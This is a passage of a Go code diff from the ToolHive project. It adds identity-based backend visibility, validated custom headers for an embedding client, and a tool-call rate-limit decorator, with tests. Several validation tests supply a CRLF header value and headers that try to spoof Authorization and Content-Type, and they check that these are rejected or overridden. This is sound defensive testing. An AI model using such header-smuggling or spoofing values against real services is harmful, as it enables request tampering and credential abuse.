(*aggregator.AggregatedCapabilities, error) { - backends := filterHealthyBackends(c.backendRegistry.List(ctx), c.health) + return c.aggregateBackends(ctx, filterHealthyBackends(c.backendRegistry.List(ctx), c.health)) +} + +// aggregateBackends aggregates capabilities across the given backends. The caller +// decides the backend set: aggregatedView passes the health-filtered subset (the +// data path), while authorizedBackends passes the full registry (backend +// visibility, per #5741: health is a status, not a visibility filter). It exists so +// both share one aggregation error-wrap. Unreachable backends fail their live +// capability query and simply contribute nothing. +func (c *coreVMCP) aggregateBackends( + ctx context.Context, backends []vmcp.Backend, +) (*aggregator.AggregatedCapabilities, error) { agg, err := c.aggregator.AggregateCapabilities(ctx, backends) if err != nil { return nil, fmt.Errorf("capability aggregation failed: %w", err) @@ -380,6 +435,55 @@ func (c *coreVMCP) aggregatedView(ctx context.Context) (*aggregator.AggregatedCa return agg, nil } +// authorizedBackends returns the subset of all on which identity is admitted at +// least one capability. It aggregates over the full set (no health filter — #5741), +// runs the same admission seam List{Tools,Resources,Prompts} use, and unions the +// surviving capabilities' BackendIDs. Composite tools are excluded (agg.Tools, not +// advertisedTools): they are workflows with no single backend, so they cannot make +// a backend visible. Callers guard the empty-group case before calling this (see +// ListBackends) so an empty group never reaches the aggregator's "no backends" +// sentinel here. +func (c *coreVMCP) authorizedBackends( + ctx context.Context, identity *auth.Identity, all []vmcp.Backend, +) ([]vmcp.Backend, error) { + agg, err := c.aggregateBackends(ctx, all) + if err != nil { + return nil, err + } + + tools, err := c.admission.FilterTools(ctx, identity, agg.Tools) + if err != nil { + return nil, err + } + resources, err := c.admission.FilterResources(ctx, identity, agg.Resources) + if err != nil { + return nil, err + } + prompts, err := c.admission.FilterPrompts(ctx, identity, agg.Prompts) + if err != nil { + return nil, err + } + + allowed := make(map[string]struct{}) + for i := range tools { + allowed[tools[i].BackendID] = struct{}{} + } + for i := range resources { + allowed[resources[i].BackendID] = struct{}{} + } + for i := range prompts { + allowed[prompts[i].BackendID] = struct{}{} + } + + out := make([]vmcp.Backend, 0, len(allowed)) + for i := range all { + if _, ok := allowed[all[i].ID]; ok { + out = append(out, all[i]) + } + } + return out, nil +} + // advertisedTools returns the aggregated backend tools followed by the composite // tools reachable in agg's routing table. // diff --git a/pkg/vmcp/doc.go b/pkg/vmcp/doc.go index 449f5a9213..146c27602f 100644 --- a/pkg/vmcp/doc.go +++ b/pkg/vmcp/doc.go @@ -7,6 +7,9 @@ // single unified interface. This package contains the core domain models and interfaces // that are platform-agnostic (work for both CLI and Kubernetes deployments). // +// +groupName=toolhive.stacklok.dev +// +versionName=vmcp +// // # Architecture // // The vmcp package follows Domain-Driven Design (DDD) principles with clear @@ -150,7 +153,7 @@ // // # Related Documentation // -// - Proposal: docs/proposals/THV-2106-virtual-mcp-server.md +// - Proposal: https://github.com/stacklok/toolhive-rfcs/blob/main/rfcs/THV-0008-virtual-mcp-server.md // - GitHub Issues: #146-159 in stacklok/stacklok-epics // - MCP Specification: https://modelcontextprotocol.io/specification // diff --git a/pkg/vmcp/health/exposure.go b/pkg/vmcp/health/exposure.go index bcd16427a1..561f4cf7d7 100644 --- a/pkg/vmcp/health/exposure.go +++ b/pkg/vmcp/health/exposure.go @@ -79,10 +79,9 @@ func isNilStatusProvider(provider StatusProvider) bool { } value := reflect.ValueOf(provider) - switch value.Kind() { - case reflect.Chan, reflect.Func, reflect.Interface, reflect.Map, reflect.Pointer, reflect.Slice: + if kind := value.Kind(); kind == reflect.Chan || kind == reflect.Func || kind == reflect.Interface || + kind == reflect.Map || kind == reflect.Pointer || kind == reflect.Slice { return value.IsNil() - default: - return false } + return false } diff --git a/pkg/vmcp/optimizer/internal/similarity/embedding_client.go b/pkg/vmcp/optimizer/internal/similarity/embedding_client.go index 1d94d206de..cde96f72ef 100644 --- a/pkg/vmcp/optimizer/internal/similarity/embedding_client.go +++ b/pkg/vmcp/optimizer/internal/similarity/embedding_client.go @@ -22,7 +22,8 @@ func NewEmbeddingClient(cfg *types.OptimizerConfig) (types.EmbeddingClient, erro case "", types.EmbeddingProviderTEI: return newTEIClient(cfg.EmbeddingService, cfg.EmbeddingServiceTimeout) case types.EmbeddingProviderOpenAI: - return newOpenAIClient(cfg.EmbeddingService, cfg.EmbeddingModel, cfg.EmbeddingAPIKey, cfg.EmbeddingServiceTimeout) + return newOpenAIClient(cfg.EmbeddingService, cfg.EmbeddingModel, cfg.EmbeddingAPIKey, + cfg.EmbeddingHeaders, cfg.EmbeddingServiceTimeout) default: return nil, fmt.Errorf("unsupported embedding provider %q (supported: %q, %q)", cfg.EmbeddingProvider, types.EmbeddingProviderTEI, types.EmbeddingProviderOpenAI) diff --git a/pkg/vmcp/optimizer/internal/similarity/openai_client.go b/pkg/vmcp/optimizer/internal/similarity/openai_client.go index c9f3d1fdec..907164d16c 100644 --- a/pkg/vmcp/optimizer/internal/similarity/openai_client.go +++ b/pkg/vmcp/optimizer/internal/similarity/openai_client.go @@ -10,6 +10,7 @@ import ( "fmt" "io" "log/slog" + "maps" "net/http" "strings" "time" @@ -29,15 +30,17 @@ type openAIClient struct { baseURL string apiKey string model string + headers map[string]string httpClient *http.Client maxBatchSize int } // newOpenAIClient creates a client that POSTs to baseURL+"/embeddings" using the // given model. A non-empty apiKey is sent as a Bearer token; an empty apiKey -// omits the Authorization header so keyless endpoints work. Zero timeout uses -// defaultTimeout. -func newOpenAIClient(baseURL, model, apiKey string, timeout time.Duration) (*openAIClient, error) { +// omits the Authorization header so keyless endpoints work. headers are set on +// every request but cannot override Content-Type or Authorization. Zero timeout +// uses defaultTimeout. +func newOpenAIClient(baseURL, model, apiKey string, headers map[string]string, timeout time.Duration) (*openAIClient, error) { if baseURL == "" { return nil, fmt.Errorf("OpenAI embedding base URL is required") } @@ -51,12 +54,13 @@ func newOpenAIClient(baseURL, model, apiKey string, timeout time.Duration) (*ope } slog.Debug("OpenAI embedding client created", - "base_url", baseURL, "model", model, "timeout", timeout) + "base_url", baseURL, "model", model, "timeout", timeout, "custom_headers", len(headers)) return &openAIClient{ baseURL: baseURL, apiKey: apiKey, model: model, + headers: maps.Clone(headers), httpClient: &http.Client{Timeout: timeout}, maxBatchSize: openAIMaxBatchSize, }, nil @@ -129,6 +133,10 @@ func (c *openAIClient) embedChunk(ctx context.Context, texts []string) ([][]floa if err != nil { return nil, fmt.Errorf("failed to create OpenAI request: %w", err) } + for name, value := range c.headers { + req.Header.Set(name, value) + } + // Set after the custom headers so they can never be overridden. req.Header.Set("Content-Type", "application/json") if c.apiKey != "" { req.Header.Set("Authorization", "Bearer "+c.apiKey) diff --git a/pkg/vmcp/optimizer/internal/similarity/openai_client_integration_test.go b/pkg/vmcp/optimizer/internal/similarity/openai_client_integration_test.go index 59efacaad2..0812d01791 100644 --- a/pkg/vmcp/optimizer/internal/similarity/openai_client_integration_test.go +++ b/pkg/vmcp/optimizer/internal/similarity/openai_client_integration_test.go @@ -27,7 +27,7 @@ func TestOpenAIClient_Live(t *testing.T) { baseURL := cmp.Or(os.Getenv("OPENAI_EMBEDDING_BASE_URL"), "https://api.openai.com/v1") model := cmp.Or(os.Getenv("OPENAI_EMBEDDING_MODEL"), "text-embedding-3-small") - client, err := newOpenAIClient(baseURL, model, apiKey, 0) + client, err := newOpenAIClient(baseURL, model, apiKey, nil, 0) require.NoError(t, err) t.Cleanup(func() { _ = client.Close() }) diff --git a/pkg/vmcp/optimizer/internal/similarity/openai_client_test.go b/pkg/vmcp/optimizer/internal/similarity/openai_client_test.go index af7da66bc1..dd8a2b6879 100644 --- a/pkg/vmcp/optimizer/internal/similarity/openai_client_test.go +++ b/pkg/vmcp/optimizer/internal/similarity/openai_client_test.go @@ -20,21 +20,21 @@ func Test_newOpenAIClient(t *testing.T) { t.Run("empty URL returns error", func(t *testing.T) { t.Parallel() - client, err := newOpenAIClient("", "text-embedding-3-small", "key", 0) + client, err := newOpenAIClient("", "text-embedding-3-small", "key", nil, 0) require.ErrorContains(t, err, "OpenAI embedding base URL is required") require.Nil(t, client) }) t.Run("empty model returns error", func(t *testing.T) { t.Parallel() - client, err := newOpenAIClient("http://embeddings:8080/v1", "", "key", 0) + client, err := newOpenAIClient("http://embeddings:8080/v1", "", "key", nil, 0) require.ErrorContains(t, err, "OpenAI embedding model is required") require.Nil(t, client) }) t.Run("valid args create client with default batch size", func(t *testing.T) { t.Parallel() - client, err := newOpenAIClient("http://embeddings:8080/v1", "text-embedding-3-small", "key", 0) + client, err := newOpenAIClient("http://embeddings:8080/v1", "text-embedding-3-small", "key", nil, 0) require.NoError(t, err) require.NotNil(t, client) require.Equal(t, openAIMaxBatchSize, client.maxBatchSize) @@ -43,11 +43,20 @@ func Test_newOpenAIClient(t *testing.T) { t.Run("custom timeout", func(t *testing.T) { t.Parallel() - client, err := newOpenAIClient("http://embeddings:8080/v1", "text-embedding-3-small", "key", 5*time.Second) + client, err := newOpenAIClient("http://embeddings:8080/v1", "text-embedding-3-small", "key", nil, 5*time.Second) require.NoError(t, err) require.NotNil(t, client) require.Equal(t, 5*time.Second, client.httpClient.Timeout) }) + + t.Run("headers are cloned at construction", func(t *testing.T) { + t.Parallel() + headers := map[string]string{"x-cache-key": "toolhive"} + client, err := newOpenAIClient("http://embeddings:8080/v1", "text-embedding-3-small", "key", headers, 0) + require.NoError(t, err) + headers["x-cache-key"] = "mutated" + require.Equal(t, "toolhive", client.headers["x-cache-key"]) + }) } func TestOpenAIClient_Embed(t *testing.T) { @@ -278,6 +287,48 @@ func TestOpenAIClient_OmitsAuthHeaderWhenKeyless(t *testing.T) { require.NoError(t, err) } +func TestOpenAIClient_SendsCustomHeaders(t *testing.T) { + t.Parallel() + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + require.Equal(t, "toolhive-optimizer", r.Header.Get("x-cache-key")) + require.Equal(t, "eu-west", r.Header.Get("X-Gateway-Region")) + require.Equal(t, "application/json", r.Header.Get("Content-Type")) + require.Equal(t, "Bearer test-key", r.Header.Get("Authorization")) + writeOpenAIEmbeddings(t, w, [][]float32{{0.1}}) + })) + t.Cleanup(srv.Close) + + client, err := newOpenAIClient(srv.URL, "text-embedding-3-small", "test-key", map[string]string{ + "x-cache-key": "toolhive-optimizer", + "X-Gateway-Region": "eu-west", + }, 0) + require.NoError(t, err) + + _, err = client.Embed(context.Background(), "hello") + require.NoError(t, err) +} + +func TestOpenAIClient_ProtocolHeadersWinOverCustomHeaders(t *testing.T) { + t.Parallel() + + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + require.Equal(t, "application/json", r.Header.Get("Content-Type")) + require.Equal(t, "Bearer test-key", r.Header.Get("Authorization")) + writeOpenAIEmbeddings(t, w, [][]float32{{0.1}}) + })) + t.Cleanup(srv.Close) + + client, err := newOpenAIClient(srv.URL, "text-embedding-3-small", "test-key", map[string]string{ + "authorization": "Bearer spoofed", + "content-type": "text/plain", + }, 0) + require.NoError(t, err) + + _, err = client.Embed(context.Background(), "hello") + require.NoError(t, err) +} + func TestOpenAIClient_Close(t *testing.T) { t.Parallel() diff --git a/pkg/vmcp/optimizer/internal/types/types.go b/pkg/vmcp/optimizer/internal/types/types.go index 1eb90f424a..9c54f5a92c 100644 --- a/pkg/vmcp/optimizer/internal/types/types.go +++ b/pkg/vmcp/optimizer/internal/types/types.go @@ -94,6 +94,11 @@ type OptimizerConfig struct { // keyless in-cluster gateways. Never populated for the TEI provider. EmbeddingAPIKey string + // EmbeddingHeaders holds additional HTTP headers sent with every request + // to an OpenAI-compatible embedding service. Never populated for the TEI + // provider. + EmbeddingHeaders map[string]string + // MaxToolsToReturn limits the number of tools returned by FindTool. MaxToolsToReturn *int diff --git a/pkg/vmcp/optimizer/optimizer.go b/pkg/vmcp/optimizer/optimizer.go index 7e41d0d0ed..35389cf0f2 100644 --- a/pkg/vmcp/optimizer/optimizer.go +++ b/pkg/vmcp/optimizer/optimizer.go @@ -18,11 +18,13 @@ import ( "log/slog" "os" "strconv" + "strings" "time" "github.com/mark3labs/mcp-go/mcp" "github.com/mark3labs/mcp-go/server" + httpval "github.com/stacklok/toolhive-core/validation/http" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" "github.com/stacklok/toolhive/pkg/vmcp/optimizer/internal/similarity" "github.com/stacklok/toolhive/pkg/vmcp/optimizer/internal/tokencounter" @@ -54,6 +56,7 @@ func GetAndValidateConfig(cfg *vmcpconfig.OptimizerConfig) (*Config, error) { EmbeddingServiceTimeout: time.Duration(cfg.EmbeddingServiceTimeout), EmbeddingProvider: cfg.EmbeddingProvider, EmbeddingModel: cfg.EmbeddingModel, + EmbeddingHeaders: convertEmbeddingHeaders(cfg.EmbeddingHeaders), } if err := resolveEmbeddingProvider(optCfg); err != nil { @@ -100,8 +103,9 @@ func GetAndValidateConfig(cfg *vmcpconfig.OptimizerConfig) (*Config, error) { // resolveEmbeddingProvider normalizes and validates the embedding provider on // optCfg in place. An empty provider defaults to TEI so existing configs keep -// working; the OpenAI provider requires a service and model and reads its API -// key from the environment. +// working; the OpenAI provider requires a service and model, reads its API +// key from the environment, and is the only provider that accepts custom +// embedding headers. func resolveEmbeddingProvider(optCfg *Config) error { switch optCfg.EmbeddingProvider { case "": @@ -116,11 +120,61 @@ func resolveEmbeddingProvider(optCfg *Config) error { return fmt.Errorf("optimizer.embeddingModel is required when optimizer.embeddingProvider is %q", types.EmbeddingProviderOpenAI) } + if err := validateEmbeddingHeaders(optCfg.EmbeddingHeaders); err != nil { + return err + } optCfg.EmbeddingAPIKey = os.Getenv(embeddingAPIKeyEnvVar) default: return fmt.Errorf("optimizer.embeddingProvider must be %q or %q, got %q", types.EmbeddingProviderTEI, types.EmbeddingProviderOpenAI, optCfg.EmbeddingProvider) } + + // Defense in depth: mirrors the CEL rule on config.OptimizerConfig, + // covering config sources with no admission validation. + if optCfg.EmbeddingProvider != types.EmbeddingProviderOpenAI && len(optCfg.EmbeddingHeaders) > 0 { + return fmt.Errorf("optimizer.embeddingHeaders is only supported when optimizer.embeddingProvider is %q", + types.EmbeddingProviderOpenAI) + } + + return nil +} + +// convertEmbeddingHeaders converts the config header map to the internal +// plain-string representation, returning nil for an empty map. +func convertEmbeddingHeaders(headers map[string]vmcpconfig.EmbeddingHeaderValue) map[string]string { + if len(headers) == 0 { + return nil + } + out := make(map[string]string, len(headers)) + for name, value := range headers { + out[name] = string(value) + } + return out +} + +// validateEmbeddingHeaders rejects custom embedding headers with invalid +// RFC 7230 names or values, and headers the OpenAI client sets itself: +// Content-Type is always application/json, and Authorization is derived from +// the OPENAI_API_KEY environment variable so the token never lands in config. +// Reserved names are compared case-insensitively, matching HTTP semantics. +// Mirrors the CEL rule on config.OptimizerConfig as defense in depth. +func validateEmbeddingHeaders(headers map[string]string) error { + for name, value := range headers { + if err := httpval.ValidateHeaderName(name); err != nil { + return fmt.Errorf("optimizer.embeddingHeaders: invalid header name %q: %w", name, err) + } + if err := httpval.ValidateHeaderValue(value); err != nil { + return fmt.Errorf("optimizer.embeddingHeaders[%q]: %w", name, err) + } + switch strings.ToLower(name) { + case "authorization": + return fmt.Errorf("optimizer.embeddingHeaders must not set %q: the Authorization header is derived "+ + "from the %s environment variable", name, embeddingAPIKeyEnvVar) + case "content-type": + return fmt.Errorf("optimizer.embeddingHeaders must not set %q: the Content-Type header is always "+ + "application/json", name) + } + } return nil } diff --git a/pkg/vmcp/optimizer/optimizer_test.go b/pkg/vmcp/optimizer/optimizer_test.go index 8ccef87b0c..1c59228507 100644 --- a/pkg/vmcp/optimizer/optimizer_test.go +++ b/pkg/vmcp/optimizer/optimizer_test.go @@ -77,6 +77,103 @@ func TestGetAndValidateConfig(t *testing.T) { EmbeddingModel: "text-embedding-3-small", }, }, + { + name: "openai provider with custom headers", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }, + expected: &Config{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]string{"x-cache-key": "toolhive-optimizer"}, + }, + }, + { + name: "openai provider with uncommon valid header name", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-key'name`x": "value"}, + }, + expected: &Config{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]string{"x-key'name`x": "value"}, + }, + }, + { + name: "error: headers with tei provider", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://embeddings:8080", + EmbeddingProvider: types.EmbeddingProviderTEI, + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }, + errContains: "optimizer.embeddingHeaders is only supported", + }, + { + name: "error: headers with default provider", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://embeddings:8080", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "toolhive-optimizer"}, + }, + errContains: "optimizer.embeddingHeaders is only supported", + }, + { + name: "error: headers set authorization case-insensitively", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"AUTHORIZATION": "Bearer spoofed"}, + }, + errContains: "optimizer.embeddingHeaders must not set \"AUTHORIZATION\"", + }, + { + name: "error: headers set content-type", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"Content-Type": "text/plain"}, + }, + errContains: "optimizer.embeddingHeaders must not set \"Content-Type\"", + }, + { + name: "error: empty header name", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"": "value"}, + }, + errContains: "invalid header name", + }, + { + name: "error: header name with invalid characters", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x bad": "value"}, + }, + errContains: "invalid header name \"x bad\"", + }, + { + name: "error: header value with control characters", + cfg: &vmcpconfig.OptimizerConfig{ + EmbeddingService: "http://gateway:8080/v1", + EmbeddingProvider: types.EmbeddingProviderOpenAI, + EmbeddingModel: "text-embedding-3-small", + EmbeddingHeaders: map[string]vmcpconfig.EmbeddingHeaderValue{"x-cache-key": "a\r\nb"}, + }, + errContains: "invalid HTTP header value", + }, { name: "error: openai provider without service", cfg: &vmcpconfig.OptimizerConfig{ @@ -263,6 +360,7 @@ func TestGetAndValidateConfig(t *testing.T) { } assert.Equal(t, wantProvider, result.EmbeddingProvider) assert.Equal(t, tt.expected.EmbeddingModel, result.EmbeddingModel) + assert.Equal(t, tt.expected.EmbeddingHeaders, result.EmbeddingHeaders) if tt.expected.MaxToolsToReturn != nil { require.NotNil(t, result.MaxToolsToReturn) diff --git a/pkg/vmcp/ratelimit/decorator.go b/pkg/vmcp/ratelimit/decorator.go new file mode 100644 index 0000000000..ff4f30f236 --- /dev/null +++ b/pkg/vmcp/ratelimit/decorator.go @@ -0,0 +1,61 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +// Package ratelimit applies rate limiting at the vMCP domain boundary. +package ratelimit + +import ( + "context" + "errors" + "log/slog" + + "github.com/stacklok/toolhive/pkg/auth" + baseratelimit "github.com/stacklok/toolhive/pkg/ratelimit" + "github.com/stacklok/toolhive/pkg/vmcp" + "github.com/stacklok/toolhive/pkg/vmcp/core" +) + +// decorator wraps a [core.VMCP] to rate-limit tool calls. Every method except +// CallTool is promoted from the embedded inner core unchanged. The decorator sits +// below the session optimizer, so name is already the resolved backend tool name. +type decorator struct { + core.VMCP + limiter baseratelimit.Limiter +} + +var _ core.VMCP = (*decorator)(nil) + +// NewDecorator wraps inner with vMCP rate limiting. +// +// inner must be non-nil; a nil inner is a composition-root wiring bug and panics +// rather than deferring the failure to the first promoted method call. A nil +// limiter means rate limiting is disabled and inner is returned unchanged. +func NewDecorator(inner core.VMCP, limiter baseratelimit.Limiter) core.VMCP { + if inner == nil { + panic("ratelimit: NewDecorator requires a non-nil inner VMCP") + } + if limiter == nil { + return inner + } + return &decorator{ + VMCP: inner, + limiter: limiter, + } +} + +// CallTool checks the rate limit for name before delegating to inner. At this +// seam name is already resolved by any outer optimizer layer, so per-tool bucket +// keys match the real backend tool instead of the optimizer call_tool meta-tool. +func (d *decorator) CallTool( + ctx context.Context, identity *auth.Identity, name string, + args map[string]any, meta map[string]any, +) (*vmcp.ToolCallResult, error) { + if err := baseratelimit.Allow(ctx, d.limiter, identity, name); err != nil { + var limited *baseratelimit.RateLimitedError + if errors.As(err, &limited) { + return nil, err + } + slog.WarnContext(ctx, "rate limit check failed, allowing tool call", "tool", name, "error", err) + } + return d.VMCP.CallTool(ctx, identity, name, args, meta) +} diff --git a/pkg/vmcp/ratelimit/decorator_test.go b/pkg/vmcp/ratelimit/decorator_test.go new file mode 100644 index 0000000000..cb0832ff31 --- /dev/null +++ b/pkg/vmcp/ratelimit/decorator_test.go @@ -0,0 +1,159 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package ratelimit + +import ( + "context" + "errors" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/stacklok/toolhive/pkg/auth" + baseratelimit "github.com/stacklok/toolhive/pkg/ratelimit" + "github.com/stacklok/toolhive/pkg/vmcp" + "github.com/stacklok/toolhive/pkg/vmcp/core" +) + +type recordingLimiter struct { + toolName string + userID string + decision *baseratelimit.Decision + err error +} + +func (l *recordingLimiter) Allow(_ context.Context, toolName, userID string) (*baseratelimit.Decision, error) { + l.toolName = toolName + l.userID = userID + if l.err != nil { + return nil, l.err + } + if l.decision != nil { + return l.decision, nil + } + return &baseratelimit.Decision{Allowed: true}, nil +} + +type recordingCore struct { + core.VMCP + called bool + identity *auth.Identity + name string + args map[string]any + meta map[string]any + result *vmcp.ToolCallResult + err error +} + +func (c *recordingCore) CallTool( + _ context.Context, + identity *auth.Identity, + name string, + args map[string]any, + meta map[string]any, +) (*vmcp.ToolCallResult, error) { + c.called = true + c.identity = identity + c.name = name + c.args = args + c.meta = meta + if c.result != nil || c.err != nil { + return c.result, c.err + } + return &vmcp.ToolCallResult{StructuredContent: map[string]any{"ok": true}}, nil +} + +func TestNewDecoratorNilInnerPanics(t *testing.T) { + t.Parallel() + + require.Panics(t, func() { + NewDecorator(nil, &recordingLimiter{}) + }) +} + +func TestNewDecoratorNilLimiterReturnsInner(t *testing.T) { + t.Parallel() + + inner := &recordingCore{} + + got := NewDecorator(inner, nil) + + assert.Same(t, inner, got) +} + +func TestCallToolAllowedDelegatesWithResolvedToolName(t *testing.T) { + t.Parallel() + + limiter := &recordingLimiter{} + inner := &recordingCore{} + decorated := NewDecorator(inner, limiter) + identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{Subject: "alice"}} + args := map[string]any{"message": "hello"} + meta := map[string]any{"trace": "abc"} + + result, err := decorated.CallTool(t.Context(), identity, "backend_a_echo", args, meta) + + require.NoError(t, err) + require.NotNil(t, result) + assert.True(t, inner.called) + assert.Same(t, identity, inner.identity) + assert.Equal(t, "backend_a_echo", inner.name) + assert.Equal(t, args, inner.args) + assert.Equal(t, meta, inner.meta) + assert.Equal(t, "backend_a_echo", limiter.toolName) + assert.Equal(t, "alice", limiter.userID) +} + +func TestCallToolRateLimitedDoesNotDelegate(t *testing.T) { + t.Parallel() + + limiter := &recordingLimiter{ + decision: &baseratelimit.Decision{ + Allowed: false, + RetryAfter: 5 * time.Second, + }, + } + inner := &recordingCore{} + decorated := NewDecorator(inner, limiter) + + result, err := decorated.CallTool(t.Context(), nil, "backend_a_echo", nil, nil) + + require.Error(t, err) + assert.Nil(t, result) + assert.False(t, inner.called) + var limited *baseratelimit.RateLimitedError + require.ErrorAs(t, err, &limited) + assert.Equal(t, 5*time.Second, limited.RetryAfter) +} + +func TestCallToolLimiterErrorFailsOpen(t *testing.T) { + t.Parallel() + + expected := errors.New("redis unavailable") + limiter := &recordingLimiter{err: expected} + inner := &recordingCore{} + decorated := NewDecorator(inner, limiter) + + result, err := decorated.CallTool(t.Context(), nil, "backend_a_echo", nil, nil) + + require.NoError(t, err) + require.NotNil(t, result) + assert.True(t, inner.called) +} + +func TestCallToolNilIdentityUsesEmptyUserID(t *testing.T) { + t.Parallel() + + limiter := &recordingLimiter{} + inner := &recordingCore{} + decorated := NewDecorator(inner, limiter) + + _, err := decorated.CallTool(t.Context(), nil, "backend_a_echo", nil, nil) + + require.NoError(t, err) + assert.True(t, inner.called) + assert.Empty(t, limiter.userID) +} diff --git a/pkg/vmcp/ratelimit/factory/middleware.go b/pkg/vmcp/ratelimit/factory/limiter.go similarity index 71% rename from pkg/vmcp/ratelimit/factory/middleware.go rename to pkg/vmcp/ratelimit/factory/limiter.go index 3460fa8e3d..a40ed5ccfd 100644 --- a/pkg/vmcp/ratelimit/factory/middleware.go +++ b/pkg/vmcp/ratelimit/factory/limiter.go @@ -1,20 +1,19 @@ // SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. // SPDX-License-Identifier: Apache-2.0 -// Package factory builds vMCP-specific rate-limit middleware. +// Package factory builds vMCP-specific rate-limit dependencies. package factory import ( "context" "fmt" - "net/http" "github.com/stacklok/toolhive/pkg/ratelimit" ratelimittypes "github.com/stacklok/toolhive/pkg/ratelimit/types" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" ) -// Config contains the vMCP rate-limit middleware inputs. +// Config contains the vMCP rate-limit dependency inputs. type Config struct { Namespace string ServerName string @@ -22,11 +21,11 @@ type Config struct { SessionStorage *vmcpconfig.SessionStorageConfig } -// NewMiddleware creates Redis-backed rate-limit middleware for vMCP. -func NewMiddleware( +// NewLimiter creates a Redis-backed limiter for vMCP. +func NewLimiter( _ context.Context, cfg Config, -) (func(http.Handler) http.Handler, func(context.Context) error, error) { +) (ratelimit.Limiter, func(context.Context) error, error) { if cfg.RateLimiting == nil { return nil, nil, nil } @@ -37,7 +36,7 @@ func NewMiddleware( return nil, nil, fmt.Errorf("rate limiting requires Redis session storage address") } - middleware, err := ratelimit.NewMiddleware(ratelimit.MiddlewareParams{ + limiter, closer, err := ratelimit.NewRedisLimiter(ratelimit.MiddlewareParams{ Namespace: cfg.Namespace, ServerName: cfg.ServerName, Config: cfg.RateLimiting, @@ -49,7 +48,7 @@ func NewMiddleware( } cleanup := func(context.Context) error { - return middleware.Close() + return closer.Close() } - return middleware.Handler(), cleanup, nil + return limiter, cleanup, nil } diff --git a/pkg/vmcp/ratelimit/factory/limiter_test.go b/pkg/vmcp/ratelimit/factory/limiter_test.go new file mode 100644 index 0000000000..ca5c1d7b47 --- /dev/null +++ b/pkg/vmcp/ratelimit/factory/limiter_test.go @@ -0,0 +1,223 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package factory + +import ( + "context" + "testing" + "time" + + "github.com/alicebob/miniredis/v2" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + + "github.com/stacklok/toolhive/pkg/ratelimit" + ratelimittypes "github.com/stacklok/toolhive/pkg/ratelimit/types" + vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" +) + +func TestNewLimiterDisabledWithoutConfig(t *testing.T) { + t.Parallel() + + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + }) + + require.NoError(t, err) + assert.Nil(t, limiter) + assert.Nil(t, cleanup) +} + +func TestNewLimiterRequiresRedisSessionStorage(t *testing.T) { + t.Parallel() + + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: sharedRateLimitConfig(), + }) + + require.Error(t, err) + assert.Contains(t, err.Error(), "requires Redis session storage") + assert.Nil(t, limiter) + assert.Nil(t, cleanup) +} + +func TestNewLimiterRequiresRedisAddress(t *testing.T) { + t.Parallel() + + limiter, cleanup, err := NewLimiter(t.Context(), Config{ + Namespace: "default", + ServerName: "vmcp", + RateLimiting: sharedRateLimitConfig(), + SessionStorage: &vmcpconfig.SessionStorageConfig{ + Provider: "redis", + }, + }) + + require.Error(t, err) + assert.Contains(t, err.Error(), "requires Redis session storage address") + assert.Nil(t, limiter) + assert.Nil(t, cleanup) +} + +func TestNewLimiterRedisPingFailure(t *testing.T) { + t.Parallel() + + ctx, cancel := context.WithTimeout(t.Context(), 100*time.Millisecond) + defer cancel() + limiter, cleanup, err := 